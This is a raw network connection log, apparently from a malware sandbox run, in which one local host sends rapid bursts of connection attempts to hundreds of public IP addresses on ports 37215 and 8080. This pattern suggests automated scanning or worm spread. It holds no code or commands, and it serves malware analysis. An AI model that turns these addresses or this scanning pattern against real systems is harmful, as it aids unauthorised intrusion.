Oct 29, 2024 20:52:39.265885115 CET	56342	37215	192.168.2.13	41.149.181.73
Oct 29, 2024 20:52:39.265885115 CET	56342	37215	192.168.2.13	41.169.245.217
Oct 29, 2024 20:52:39.265893936 CET	56342	37215	192.168.2.13	41.38.114.196
Oct 29, 2024 20:52:39.265898943 CET	56342	37215	192.168.2.13	41.112.198.200
Oct 29, 2024 20:52:39.265898943 CET	56342	37215	192.168.2.13	41.89.55.111
Oct 29, 2024 20:52:39.265928030 CET	56342	37215	192.168.2.13	41.121.228.65
Oct 29, 2024 20:52:39.265932083 CET	56342	37215	192.168.2.13	41.123.196.207
Oct 29, 2024 20:52:39.265935898 CET	56342	37215	192.168.2.13	41.92.230.177
Oct 29, 2024 20:52:39.265959024 CET	56342	37215	192.168.2.13	41.71.120.237
Oct 29, 2024 20:52:39.265959024 CET	56342	37215	192.168.2.13	41.208.51.173
Oct 29, 2024 20:52:39.265975952 CET	56342	37215	192.168.2.13	41.70.139.154
Oct 29, 2024 20:52:39.265976906 CET	56342	37215	192.168.2.13	41.37.91.53
Oct 29, 2024 20:52:39.265991926 CET	56342	37215	192.168.2.13	41.22.126.155
Oct 29, 2024 20:52:39.266021967 CET	56342	37215	192.168.2.13	41.183.67.175
Oct 29, 2024 20:52:39.266024113 CET	56342	37215	192.168.2.13	41.131.22.134
Oct 29, 2024 20:52:39.266024113 CET	56342	37215	192.168.2.13	41.28.57.91
Oct 29, 2024 20:52:39.266033888 CET	56342	37215	192.168.2.13	41.13.167.42
Oct 29, 2024 20:52:39.266041994 CET	56342	37215	192.168.2.13	41.243.245.139
Oct 29, 2024 20:52:39.266069889 CET	56342	37215	192.168.2.13	41.130.82.60
Oct 29, 2024 20:52:39.266083002 CET	56342	37215	192.168.2.13	41.90.173.217
Oct 29, 2024 20:52:39.266089916 CET	56342	37215	192.168.2.13	41.231.166.162
Oct 29, 2024 20:52:39.266089916 CET	56342	37215	192.168.2.13	41.111.40.225
Oct 29, 2024 20:52:39.266102076 CET	56342	37215	192.168.2.13	41.81.194.97
Oct 29, 2024 20:52:39.266114950 CET	56342	37215	192.168.2.13	41.142.25.206
Oct 29, 2024 20:52:39.266128063 CET	56342	37215	192.168.2.13	41.64.251.120
Oct 29, 2024 20:52:39.266143084 CET	56342	37215	192.168.2.13	41.246.237.203
Oct 29, 2024 20:52:39.266171932 CET	56342	37215	192.168.2.13	41.173.109.148
Oct 29, 2024 20:52:39.266175985 CET	56342	37215	192.168.2.13	41.56.56.237
Oct 29, 2024 20:52:39.266192913 CET	56342	37215	192.168.2.13	41.76.34.192
Oct 29, 2024 20:52:39.266195059 CET	56342	37215	192.168.2.13	41.24.228.212
Oct 29, 2024 20:52:39.266216993 CET	56342	37215	192.168.2.13	41.67.106.40
Oct 29, 2024 20:52:39.266217947 CET	56342	37215	192.168.2.13	41.64.235.238
Oct 29, 2024 20:52:39.266231060 CET	56342	37215	192.168.2.13	41.10.162.154
Oct 29, 2024 20:52:39.266231060 CET	56342	37215	192.168.2.13	41.63.122.221
Oct 29, 2024 20:52:39.266247988 CET	56342	37215	192.168.2.13	41.203.146.35
Oct 29, 2024 20:52:39.266253948 CET	56342	37215	192.168.2.13	41.11.247.72
Oct 29, 2024 20:52:39.266253948 CET	56342	37215	192.168.2.13	41.182.25.27
Oct 29, 2024 20:52:39.266273022 CET	56342	37215	192.168.2.13	41.143.168.82
Oct 29, 2024 20:52:39.266274929 CET	56342	37215	192.168.2.13	41.161.113.95
Oct 29, 2024 20:52:39.266319990 CET	56342	37215	192.168.2.13	41.36.207.19
Oct 29, 2024 20:52:39.266320944 CET	56342	37215	192.168.2.13	41.143.106.52
Oct 29, 2024 20:52:39.266320944 CET	56342	37215	192.168.2.13	41.164.51.44
Oct 29, 2024 20:52:39.266345978 CET	56342	37215	192.168.2.13	41.97.56.143
Oct 29, 2024 20:52:39.266345978 CET	56342	37215	192.168.2.13	41.145.72.49
Oct 29, 2024 20:52:39.266357899 CET	56342	37215	192.168.2.13	41.204.159.206
Oct 29, 2024 20:52:39.266361952 CET	56342	37215	192.168.2.13	41.155.16.132
Oct 29, 2024 20:52:39.266405106 CET	56342	37215	192.168.2.13	41.236.78.24
Oct 29, 2024 20:52:39.266407013 CET	56342	37215	192.168.2.13	41.127.137.81
Oct 29, 2024 20:52:39.266407013 CET	56342	37215	192.168.2.13	41.178.18.240
Oct 29, 2024 20:52:39.266421080 CET	56342	37215	192.168.2.13	41.194.214.120
Oct 29, 2024 20:52:39.266436100 CET	56342	37215	192.168.2.13	41.234.245.55
Oct 29, 2024 20:52:39.266438961 CET	56342	37215	192.168.2.13	41.11.71.208
Oct 29, 2024 20:52:39.266441107 CET	56342	37215	192.168.2.13	41.40.168.154
Oct 29, 2024 20:52:39.266449928 CET	56342	37215	192.168.2.13	41.144.143.187
Oct 29, 2024 20:52:39.266472101 CET	56342	37215	192.168.2.13	41.176.96.173
Oct 29, 2024 20:52:39.266472101 CET	56342	37215	192.168.2.13	41.239.55.193
Oct 29, 2024 20:52:39.266499043 CET	56342	37215	192.168.2.13	41.108.139.169
Oct 29, 2024 20:52:39.266499043 CET	56342	37215	192.168.2.13	41.83.142.236
Oct 29, 2024 20:52:39.266499043 CET	56342	37215	192.168.2.13	41.245.138.12
Oct 29, 2024 20:52:39.266516924 CET	56342	37215	192.168.2.13	41.127.52.42
Oct 29, 2024 20:52:39.266541958 CET	56342	37215	192.168.2.13	41.148.161.105
Oct 29, 2024 20:52:39.266546011 CET	56342	37215	192.168.2.13	41.236.203.163
Oct 29, 2024 20:52:39.266554117 CET	56342	37215	192.168.2.13	41.74.96.156
Oct 29, 2024 20:52:39.266565084 CET	56342	37215	192.168.2.13	41.93.181.204
Oct 29, 2024 20:52:39.266592026 CET	56342	37215	192.168.2.13	41.239.97.119
Oct 29, 2024 20:52:39.266602039 CET	56342	37215	192.168.2.13	41.56.106.228
Oct 29, 2024 20:52:39.266603947 CET	56342	37215	192.168.2.13	41.7.223.239
Oct 29, 2024 20:52:39.266603947 CET	56342	37215	192.168.2.13	41.40.92.42
Oct 29, 2024 20:52:39.266616106 CET	56342	37215	192.168.2.13	41.214.170.83
Oct 29, 2024 20:52:39.266629934 CET	56342	37215	192.168.2.13	41.247.139.79
Oct 29, 2024 20:52:39.266644001 CET	56342	37215	192.168.2.13	41.64.85.50
Oct 29, 2024 20:52:39.266650915 CET	56342	37215	192.168.2.13	41.190.157.252
Oct 29, 2024 20:52:39.266668081 CET	56342	37215	192.168.2.13	41.83.193.44
Oct 29, 2024 20:52:39.266670942 CET	56342	37215	192.168.2.13	41.35.122.54
Oct 29, 2024 20:52:39.266696930 CET	56342	37215	192.168.2.13	41.210.139.29
Oct 29, 2024 20:52:39.266710997 CET	56342	37215	192.168.2.13	41.0.28.41
Oct 29, 2024 20:52:39.266710997 CET	56342	37215	192.168.2.13	41.96.37.194
Oct 29, 2024 20:52:39.266721964 CET	56342	37215	192.168.2.13	41.110.108.3
Oct 29, 2024 20:52:39.266726017 CET	56342	37215	192.168.2.13	41.226.180.209
Oct 29, 2024 20:52:39.266733885 CET	56342	37215	192.168.2.13	41.78.110.159
Oct 29, 2024 20:52:39.266756058 CET	56342	37215	192.168.2.13	41.61.167.201
Oct 29, 2024 20:52:39.266773939 CET	56342	37215	192.168.2.13	41.228.236.141
Oct 29, 2024 20:52:39.266813993 CET	56342	37215	192.168.2.13	41.91.239.240
Oct 29, 2024 20:52:39.266813993 CET	56342	37215	192.168.2.13	41.234.152.193
Oct 29, 2024 20:52:39.266825914 CET	56342	37215	192.168.2.13	41.47.62.79
Oct 29, 2024 20:52:39.266835928 CET	56342	37215	192.168.2.13	41.188.196.13
Oct 29, 2024 20:52:39.266850948 CET	56342	37215	192.168.2.13	41.85.84.35
Oct 29, 2024 20:52:39.266851902 CET	56342	37215	192.168.2.13	41.154.168.226
Oct 29, 2024 20:52:39.266879082 CET	56342	37215	192.168.2.13	41.7.3.20
Oct 29, 2024 20:52:39.266879082 CET	56342	37215	192.168.2.13	41.121.197.90
Oct 29, 2024 20:52:39.266885042 CET	56342	37215	192.168.2.13	41.36.254.208
Oct 29, 2024 20:52:39.266889095 CET	56342	37215	192.168.2.13	41.148.38.99
Oct 29, 2024 20:52:39.266891003 CET	56342	37215	192.168.2.13	41.118.247.252
Oct 29, 2024 20:52:39.266891003 CET	56342	37215	192.168.2.13	41.140.146.123
Oct 29, 2024 20:52:39.266902924 CET	56342	37215	192.168.2.13	41.124.187.184
Oct 29, 2024 20:52:39.266904116 CET	56342	37215	192.168.2.13	41.140.139.6
Oct 29, 2024 20:52:39.266906977 CET	56342	37215	192.168.2.13	41.25.147.21
Oct 29, 2024 20:52:39.266911030 CET	56342	37215	192.168.2.13	41.157.210.43
Oct 29, 2024 20:52:39.266932964 CET	56342	37215	192.168.2.13	41.196.172.201
Oct 29, 2024 20:52:39.266940117 CET	56342	37215	192.168.2.13	41.205.248.89
Oct 29, 2024 20:52:39.266947985 CET	56342	37215	192.168.2.13	41.14.51.210
Oct 29, 2024 20:52:39.266966105 CET	56342	37215	192.168.2.13	41.216.254.227
Oct 29, 2024 20:52:39.266993999 CET	56342	37215	192.168.2.13	41.177.100.37
Oct 29, 2024 20:52:39.267000914 CET	56342	37215	192.168.2.13	41.240.208.84
Oct 29, 2024 20:52:39.267021894 CET	56342	37215	192.168.2.13	41.144.58.92
Oct 29, 2024 20:52:39.267025948 CET	56342	37215	192.168.2.13	41.168.167.14
Oct 29, 2024 20:52:39.267030001 CET	56342	37215	192.168.2.13	41.120.48.8
Oct 29, 2024 20:52:39.267031908 CET	56342	37215	192.168.2.13	41.85.23.233
Oct 29, 2024 20:52:39.267033100 CET	56342	37215	192.168.2.13	41.130.148.144
Oct 29, 2024 20:52:39.267061949 CET	56342	37215	192.168.2.13	41.96.231.174
Oct 29, 2024 20:52:39.267061949 CET	56342	37215	192.168.2.13	41.32.111.143
Oct 29, 2024 20:52:39.267071962 CET	56342	37215	192.168.2.13	41.142.170.235
Oct 29, 2024 20:52:39.267076015 CET	56342	37215	192.168.2.13	41.42.118.179
Oct 29, 2024 20:52:39.267092943 CET	80	55360	95.118.201.113	192.168.2.13
Oct 29, 2024 20:52:39.267095089 CET	56342	37215	192.168.2.13	41.123.248.206
Oct 29, 2024 20:52:39.267127037 CET	56342	37215	192.168.2.13	41.22.192.237
Oct 29, 2024 20:52:39.267127991 CET	56342	37215	192.168.2.13	41.43.29.43
Oct 29, 2024 20:52:39.267127991 CET	56342	37215	192.168.2.13	41.25.91.158
Oct 29, 2024 20:52:39.267158031 CET	56342	37215	192.168.2.13	41.193.124.231
Oct 29, 2024 20:52:39.267187119 CET	56342	37215	192.168.2.13	41.208.17.205
Oct 29, 2024 20:52:39.267187119 CET	56342	37215	192.168.2.13	41.98.24.38
Oct 29, 2024 20:52:39.267189026 CET	80	57896	95.211.85.186	192.168.2.13
Oct 29, 2024 20:52:39.267199039 CET	56342	37215	192.168.2.13	41.88.51.209
Oct 29, 2024 20:52:39.267219067 CET	56342	37215	192.168.2.13	41.240.66.202
Oct 29, 2024 20:52:39.267229080 CET	56342	37215	192.168.2.13	41.59.242.198
Oct 29, 2024 20:52:39.267239094 CET	56342	37215	192.168.2.13	41.125.215.63
Oct 29, 2024 20:52:39.267256975 CET	56342	37215	192.168.2.13	41.122.107.91
Oct 29, 2024 20:52:39.267276049 CET	56342	37215	192.168.2.13	41.206.136.244
Oct 29, 2024 20:52:39.267277956 CET	56342	37215	192.168.2.13	41.178.248.116
Oct 29, 2024 20:52:39.267307043 CET	56342	37215	192.168.2.13	41.19.3.15
Oct 29, 2024 20:52:39.267333031 CET	56342	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.267334938 CET	56342	37215	192.168.2.13	41.85.180.220
Oct 29, 2024 20:52:39.267519951 CET	43722	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:39.267519951 CET	43722	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:39.267519951 CET	56342	37215	192.168.2.13	41.194.74.94
Oct 29, 2024 20:52:39.267544031 CET	57220	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:39.267601013 CET	57220	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:39.271050930 CET	80	60624	95.243.39.217	192.168.2.13
Oct 29, 2024 20:52:39.271121979 CET	80	45994	95.186.207.103	192.168.2.13
Oct 29, 2024 20:52:39.271126986 CET	80	46624	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:39.271131992 CET	80	37544	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:39.271136999 CET	80	59352	95.101.23.87	192.168.2.13
Oct 29, 2024 20:52:39.271141052 CET	80	47968	95.53.92.98	192.168.2.13
Oct 29, 2024 20:52:39.271147013 CET	80	49192	95.184.210.191	192.168.2.13
Oct 29, 2024 20:52:39.273314953 CET	37215	56342	41.142.40.183	192.168.2.13
Oct 29, 2024 20:52:39.273320913 CET	37215	43722	197.22.18.13	192.168.2.13
Oct 29, 2024 20:52:39.273332119 CET	37215	57220	197.125.166.82	192.168.2.13
Oct 29, 2024 20:52:39.273374081 CET	56342	37215	192.168.2.13	41.142.40.183
Oct 29, 2024 20:52:39.279052019 CET	80	43068	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:39.279117107 CET	80	36196	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:39.291022062 CET	80	55936	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:39.291183949 CET	32810	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:39.291188955 CET	39032	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:39.291213036 CET	39160	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:39.291213989 CET	43162	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:39.291220903 CET	41106	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:39.291277885 CET	49582	8080	192.168.2.13	31.175.43.53
Oct 29, 2024 20:52:39.291280985 CET	46128	8080	192.168.2.13	95.67.86.123
Oct 29, 2024 20:52:39.291281939 CET	44866	8080	192.168.2.13	31.234.133.130
Oct 29, 2024 20:52:39.291310072 CET	44744	8080	192.168.2.13	85.151.66.251
Oct 29, 2024 20:52:39.291335106 CET	57954	8080	192.168.2.13	31.70.234.67
Oct 29, 2024 20:52:39.295147896 CET	58670	37215	192.168.2.13	197.174.58.204
Oct 29, 2024 20:52:39.295147896 CET	59268	37215	192.168.2.13	197.72.103.105
Oct 29, 2024 20:52:39.295147896 CET	60202	37215	192.168.2.13	197.94.208.161
Oct 29, 2024 20:52:39.295180082 CET	37176	37215	192.168.2.13	197.161.223.8
Oct 29, 2024 20:52:39.295180082 CET	38286	37215	192.168.2.13	197.222.40.41
Oct 29, 2024 20:52:39.295181036 CET	41256	37215	192.168.2.13	197.44.169.8
Oct 29, 2024 20:52:39.295183897 CET	36904	37215	192.168.2.13	197.174.79.45
Oct 29, 2024 20:52:39.295191050 CET	58466	37215	192.168.2.13	197.141.38.251
Oct 29, 2024 20:52:39.295192003 CET	58076	37215	192.168.2.13	197.15.109.5
Oct 29, 2024 20:52:39.295192003 CET	45138	37215	192.168.2.13	197.48.29.21
Oct 29, 2024 20:52:39.295248985 CET	53148	37215	192.168.2.13	197.175.180.229
Oct 29, 2024 20:52:39.296593904 CET	8080	32810	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:39.296601057 CET	8080	39032	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:39.296662092 CET	32810	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:39.296744108 CET	32810	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:39.296747923 CET	39032	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:39.296817064 CET	56351	8080	192.168.2.13	62.193.255.141
Oct 29, 2024 20:52:39.296823978 CET	39032	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:39.296824932 CET	56351	8080	192.168.2.13	85.133.207.57
Oct 29, 2024 20:52:39.296861887 CET	56351	8080	192.168.2.13	95.66.253.83
Oct 29, 2024 20:52:39.296864033 CET	56351	8080	192.168.2.13	94.215.195.213
Oct 29, 2024 20:52:39.296890020 CET	56351	8080	192.168.2.13	62.173.59.3
Oct 29, 2024 20:52:39.296890020 CET	56351	8080	192.168.2.13	31.16.77.69
Oct 29, 2024 20:52:39.296915054 CET	56351	8080	192.168.2.13	95.41.116.186
Oct 29, 2024 20:52:39.296916962 CET	56351	8080	192.168.2.13	31.246.83.20
Oct 29, 2024 20:52:39.296933889 CET	56351	8080	192.168.2.13	31.191.29.45
Oct 29, 2024 20:52:39.296935081 CET	56351	8080	192.168.2.13	85.95.169.145
Oct 29, 2024 20:52:39.296958923 CET	56351	8080	192.168.2.13	62.155.38.175
Oct 29, 2024 20:52:39.296964884 CET	56351	8080	192.168.2.13	94.50.98.29
Oct 29, 2024 20:52:39.296964884 CET	56351	8080	192.168.2.13	31.41.118.126
Oct 29, 2024 20:52:39.296974897 CET	56351	8080	192.168.2.13	62.68.53.140
Oct 29, 2024 20:52:39.296978951 CET	56351	8080	192.168.2.13	94.130.220.217
Oct 29, 2024 20:52:39.296978951 CET	56351	8080	192.168.2.13	31.124.27.218
Oct 29, 2024 20:52:39.296987057 CET	56351	8080	192.168.2.13	62.117.217.56
Oct 29, 2024 20:52:39.296987057 CET	56351	8080	192.168.2.13	62.153.14.184
Oct 29, 2024 20:52:39.296989918 CET	56351	8080	192.168.2.13	94.95.0.113
Oct 29, 2024 20:52:39.296989918 CET	56351	8080	192.168.2.13	94.25.101.126
Oct 29, 2024 20:52:39.296989918 CET	56351	8080	192.168.2.13	31.76.177.104
Oct 29, 2024 20:52:39.297010899 CET	56351	8080	192.168.2.13	62.125.75.248
Oct 29, 2024 20:52:39.297012091 CET	56351	8080	192.168.2.13	85.182.28.188
Oct 29, 2024 20:52:39.297012091 CET	56351	8080	192.168.2.13	95.45.7.80
Oct 29, 2024 20:52:39.297019005 CET	56351	8080	192.168.2.13	94.221.187.210
Oct 29, 2024 20:52:39.297027111 CET	56351	8080	192.168.2.13	62.27.54.229
Oct 29, 2024 20:52:39.297029018 CET	56351	8080	192.168.2.13	62.177.224.138
Oct 29, 2024 20:52:39.297032118 CET	56351	8080	192.168.2.13	31.216.67.107
Oct 29, 2024 20:52:39.297048092 CET	56351	8080	192.168.2.13	95.34.18.23
Oct 29, 2024 20:52:39.297050953 CET	56351	8080	192.168.2.13	85.130.153.75
Oct 29, 2024 20:52:39.297060966 CET	56351	8080	192.168.2.13	31.133.191.62
Oct 29, 2024 20:52:39.297061920 CET	56351	8080	192.168.2.13	85.52.235.198
Oct 29, 2024 20:52:39.297064066 CET	56351	8080	192.168.2.13	31.6.31.126
Oct 29, 2024 20:52:39.297070026 CET	56351	8080	192.168.2.13	94.164.225.75
Oct 29, 2024 20:52:39.297070980 CET	56351	8080	192.168.2.13	85.147.150.176
Oct 29, 2024 20:52:39.297071934 CET	56351	8080	192.168.2.13	85.240.184.63
Oct 29, 2024 20:52:39.297126055 CET	56351	8080	192.168.2.13	95.189.134.90
Oct 29, 2024 20:52:39.297127008 CET	56351	8080	192.168.2.13	85.218.165.99
Oct 29, 2024 20:52:39.297142982 CET	56351	8080	192.168.2.13	85.81.104.134
Oct 29, 2024 20:52:39.297143936 CET	56351	8080	192.168.2.13	94.8.44.90
Oct 29, 2024 20:52:39.297144890 CET	56351	8080	192.168.2.13	62.80.153.227
Oct 29, 2024 20:52:39.297143936 CET	56351	8080	192.168.2.13	62.173.228.1
Oct 29, 2024 20:52:39.297144890 CET	56351	8080	192.168.2.13	85.80.110.21
Oct 29, 2024 20:52:39.297146082 CET	56351	8080	192.168.2.13	31.102.55.65
Oct 29, 2024 20:52:39.297143936 CET	56351	8080	192.168.2.13	85.0.223.152
Oct 29, 2024 20:52:39.297146082 CET	56351	8080	192.168.2.13	94.154.193.182
Oct 29, 2024 20:52:39.297143936 CET	56351	8080	192.168.2.13	85.122.184.193
Oct 29, 2024 20:52:39.297146082 CET	56351	8080	192.168.2.13	62.79.38.197
Oct 29, 2024 20:52:39.297146082 CET	56351	8080	192.168.2.13	94.55.40.88
Oct 29, 2024 20:52:39.297159910 CET	56351	8080	192.168.2.13	62.97.131.165
Oct 29, 2024 20:52:39.297161102 CET	56351	8080	192.168.2.13	95.70.238.51
Oct 29, 2024 20:52:39.297161102 CET	56351	8080	192.168.2.13	94.62.3.189
Oct 29, 2024 20:52:39.297162056 CET	56351	8080	192.168.2.13	85.120.81.216
Oct 29, 2024 20:52:39.297162056 CET	56351	8080	192.168.2.13	85.111.55.21
Oct 29, 2024 20:52:39.297163010 CET	56351	8080	192.168.2.13	95.64.61.147
Oct 29, 2024 20:52:39.297163010 CET	56351	8080	192.168.2.13	85.11.58.218
Oct 29, 2024 20:52:39.297166109 CET	56351	8080	192.168.2.13	62.167.110.77
Oct 29, 2024 20:52:39.297166109 CET	56351	8080	192.168.2.13	31.15.197.183
Oct 29, 2024 20:52:39.297169924 CET	56351	8080	192.168.2.13	95.210.160.230
Oct 29, 2024 20:52:39.297178984 CET	56351	8080	192.168.2.13	85.110.165.81
Oct 29, 2024 20:52:39.297178984 CET	56351	8080	192.168.2.13	62.144.127.65
Oct 29, 2024 20:52:39.297178984 CET	56351	8080	192.168.2.13	94.250.245.56
Oct 29, 2024 20:52:39.297178984 CET	56351	8080	192.168.2.13	94.158.184.157
Oct 29, 2024 20:52:39.297184944 CET	56351	8080	192.168.2.13	95.82.115.55
Oct 29, 2024 20:52:39.297190905 CET	56351	8080	192.168.2.13	94.29.109.98
Oct 29, 2024 20:52:39.297198057 CET	56351	8080	192.168.2.13	62.127.153.125
Oct 29, 2024 20:52:39.297198057 CET	56351	8080	192.168.2.13	85.19.138.68
Oct 29, 2024 20:52:39.297198057 CET	56351	8080	192.168.2.13	85.184.64.166
Oct 29, 2024 20:52:39.297235012 CET	56351	8080	192.168.2.13	95.135.71.9
Oct 29, 2024 20:52:39.297235966 CET	56351	8080	192.168.2.13	31.47.139.61
Oct 29, 2024 20:52:39.297252893 CET	56351	8080	192.168.2.13	95.240.221.193
Oct 29, 2024 20:52:39.297255993 CET	56351	8080	192.168.2.13	85.224.15.7
Oct 29, 2024 20:52:39.297255993 CET	56351	8080	192.168.2.13	94.163.105.22
Oct 29, 2024 20:52:39.297265053 CET	56351	8080	192.168.2.13	62.188.223.115
Oct 29, 2024 20:52:39.297265053 CET	56351	8080	192.168.2.13	94.183.201.148
Oct 29, 2024 20:52:39.297265053 CET	56351	8080	192.168.2.13	95.235.138.207
Oct 29, 2024 20:52:39.297267914 CET	56351	8080	192.168.2.13	95.33.167.154
Oct 29, 2024 20:52:39.297267914 CET	56351	8080	192.168.2.13	94.243.87.75
Oct 29, 2024 20:52:39.297291040 CET	56351	8080	192.168.2.13	95.52.125.185
Oct 29, 2024 20:52:39.297291040 CET	56351	8080	192.168.2.13	62.106.141.0
Oct 29, 2024 20:52:39.297291994 CET	56351	8080	192.168.2.13	62.241.228.176
Oct 29, 2024 20:52:39.297291994 CET	56351	8080	192.168.2.13	94.255.156.164
Oct 29, 2024 20:52:39.297291994 CET	56351	8080	192.168.2.13	95.101.242.205
Oct 29, 2024 20:52:39.297295094 CET	56351	8080	192.168.2.13	94.203.70.74
Oct 29, 2024 20:52:39.297295094 CET	56351	8080	192.168.2.13	31.168.217.226
Oct 29, 2024 20:52:39.297300100 CET	56351	8080	192.168.2.13	62.253.56.21
Oct 29, 2024 20:52:39.297302008 CET	56351	8080	192.168.2.13	95.236.140.23
Oct 29, 2024 20:52:39.297302008 CET	56351	8080	192.168.2.13	94.102.129.107
Oct 29, 2024 20:52:39.297305107 CET	56351	8080	192.168.2.13	62.27.120.162
Oct 29, 2024 20:52:39.297312975 CET	56351	8080	192.168.2.13	94.139.99.228
Oct 29, 2024 20:52:39.297313929 CET	56351	8080	192.168.2.13	85.190.229.30
Oct 29, 2024 20:52:39.297328949 CET	56351	8080	192.168.2.13	85.218.70.19
Oct 29, 2024 20:52:39.297333002 CET	56351	8080	192.168.2.13	85.129.232.118
Oct 29, 2024 20:52:39.297333002 CET	56351	8080	192.168.2.13	95.145.125.11
Oct 29, 2024 20:52:39.297333956 CET	56351	8080	192.168.2.13	85.109.232.89
Oct 29, 2024 20:52:39.297338963 CET	56351	8080	192.168.2.13	85.16.76.181
Oct 29, 2024 20:52:39.297333956 CET	56351	8080	192.168.2.13	62.132.198.203
Oct 29, 2024 20:52:39.297338963 CET	56351	8080	192.168.2.13	85.87.140.197
Oct 29, 2024 20:52:39.297333956 CET	56351	8080	192.168.2.13	62.57.217.100
Oct 29, 2024 20:52:39.297353029 CET	56351	8080	192.168.2.13	94.76.95.228
Oct 29, 2024 20:52:39.297353029 CET	56351	8080	192.168.2.13	95.211.205.175
Oct 29, 2024 20:52:39.297353983 CET	56351	8080	192.168.2.13	95.132.101.249
Oct 29, 2024 20:52:39.297358990 CET	56351	8080	192.168.2.13	95.246.84.91
Oct 29, 2024 20:52:39.297358990 CET	56351	8080	192.168.2.13	85.245.142.238
Oct 29, 2024 20:52:39.297358990 CET	56351	8080	192.168.2.13	95.250.188.158
Oct 29, 2024 20:52:39.297370911 CET	56351	8080	192.168.2.13	95.169.249.128
Oct 29, 2024 20:52:39.297370911 CET	56351	8080	192.168.2.13	94.139.91.36
Oct 29, 2024 20:52:39.297372103 CET	56351	8080	192.168.2.13	85.138.195.238
Oct 29, 2024 20:52:39.297370911 CET	56351	8080	192.168.2.13	85.137.144.164
Oct 29, 2024 20:52:39.297370911 CET	56351	8080	192.168.2.13	62.198.240.75
Oct 29, 2024 20:52:39.297372103 CET	56351	8080	192.168.2.13	62.30.94.117
Oct 29, 2024 20:52:39.297372103 CET	56351	8080	192.168.2.13	62.47.115.240
Oct 29, 2024 20:52:39.297386885 CET	56351	8080	192.168.2.13	85.233.38.245
Oct 29, 2024 20:52:39.297386885 CET	56351	8080	192.168.2.13	31.68.137.12
Oct 29, 2024 20:52:39.297386885 CET	56351	8080	192.168.2.13	94.51.146.151
Oct 29, 2024 20:52:39.297391891 CET	56351	8080	192.168.2.13	31.71.173.104
Oct 29, 2024 20:52:39.297393084 CET	56351	8080	192.168.2.13	62.52.78.232
Oct 29, 2024 20:52:39.297395945 CET	56351	8080	192.168.2.13	85.76.74.64
Oct 29, 2024 20:52:39.297398090 CET	56351	8080	192.168.2.13	31.137.33.9
Oct 29, 2024 20:52:39.297399998 CET	56351	8080	192.168.2.13	31.74.219.107
Oct 29, 2024 20:52:39.297427893 CET	56351	8080	192.168.2.13	95.43.21.152
Oct 29, 2024 20:52:39.297427893 CET	56351	8080	192.168.2.13	62.64.178.33
Oct 29, 2024 20:52:39.297444105 CET	56351	8080	192.168.2.13	31.227.115.153
Oct 29, 2024 20:52:39.297447920 CET	56351	8080	192.168.2.13	85.154.172.181
Oct 29, 2024 20:52:39.297447920 CET	56351	8080	192.168.2.13	95.41.70.183
Oct 29, 2024 20:52:39.297472000 CET	56351	8080	192.168.2.13	95.218.252.182
Oct 29, 2024 20:52:39.297480106 CET	56351	8080	192.168.2.13	62.224.101.22
Oct 29, 2024 20:52:39.297485113 CET	56351	8080	192.168.2.13	31.87.253.154
Oct 29, 2024 20:52:39.297492981 CET	56351	8080	192.168.2.13	31.230.121.70
Oct 29, 2024 20:52:39.297492981 CET	56351	8080	192.168.2.13	31.61.77.224
Oct 29, 2024 20:52:39.297497988 CET	56351	8080	192.168.2.13	95.241.219.46
Oct 29, 2024 20:52:39.297511101 CET	56351	8080	192.168.2.13	31.152.90.234
Oct 29, 2024 20:52:39.297513008 CET	56351	8080	192.168.2.13	31.180.37.185
Oct 29, 2024 20:52:39.297513008 CET	56351	8080	192.168.2.13	62.73.12.18
Oct 29, 2024 20:52:39.297511101 CET	56351	8080	192.168.2.13	31.219.186.59
Oct 29, 2024 20:52:39.297511101 CET	56351	8080	192.168.2.13	31.217.95.116
Oct 29, 2024 20:52:39.297511101 CET	56351	8080	192.168.2.13	31.103.153.135
Oct 29, 2024 20:52:39.297516108 CET	56351	8080	192.168.2.13	95.217.240.83
Oct 29, 2024 20:52:39.297516108 CET	56351	8080	192.168.2.13	94.25.214.156
Oct 29, 2024 20:52:39.297521114 CET	56351	8080	192.168.2.13	62.250.177.28
Oct 29, 2024 20:52:39.297524929 CET	56351	8080	192.168.2.13	95.95.87.40
Oct 29, 2024 20:52:39.297528982 CET	56351	8080	192.168.2.13	95.3.175.179
Oct 29, 2024 20:52:39.297540903 CET	56351	8080	192.168.2.13	95.194.112.152
Oct 29, 2024 20:52:39.297544003 CET	56351	8080	192.168.2.13	62.159.53.202
Oct 29, 2024 20:52:39.297544003 CET	56351	8080	192.168.2.13	94.202.23.254
Oct 29, 2024 20:52:39.297549009 CET	56351	8080	192.168.2.13	95.242.87.119
Oct 29, 2024 20:52:39.297554016 CET	56351	8080	192.168.2.13	85.60.228.247
Oct 29, 2024 20:52:39.297554016 CET	56351	8080	192.168.2.13	94.113.113.222
Oct 29, 2024 20:52:39.297555923 CET	56351	8080	192.168.2.13	94.19.195.131
Oct 29, 2024 20:52:39.297573090 CET	56351	8080	192.168.2.13	94.74.0.139
Oct 29, 2024 20:52:39.297576904 CET	56351	8080	192.168.2.13	85.249.74.48
Oct 29, 2024 20:52:39.297597885 CET	56351	8080	192.168.2.13	94.43.82.207
Oct 29, 2024 20:52:39.297599077 CET	56351	8080	192.168.2.13	31.56.9.180
Oct 29, 2024 20:52:39.297605038 CET	56351	8080	192.168.2.13	85.15.141.112
Oct 29, 2024 20:52:39.297607899 CET	56351	8080	192.168.2.13	85.109.98.36
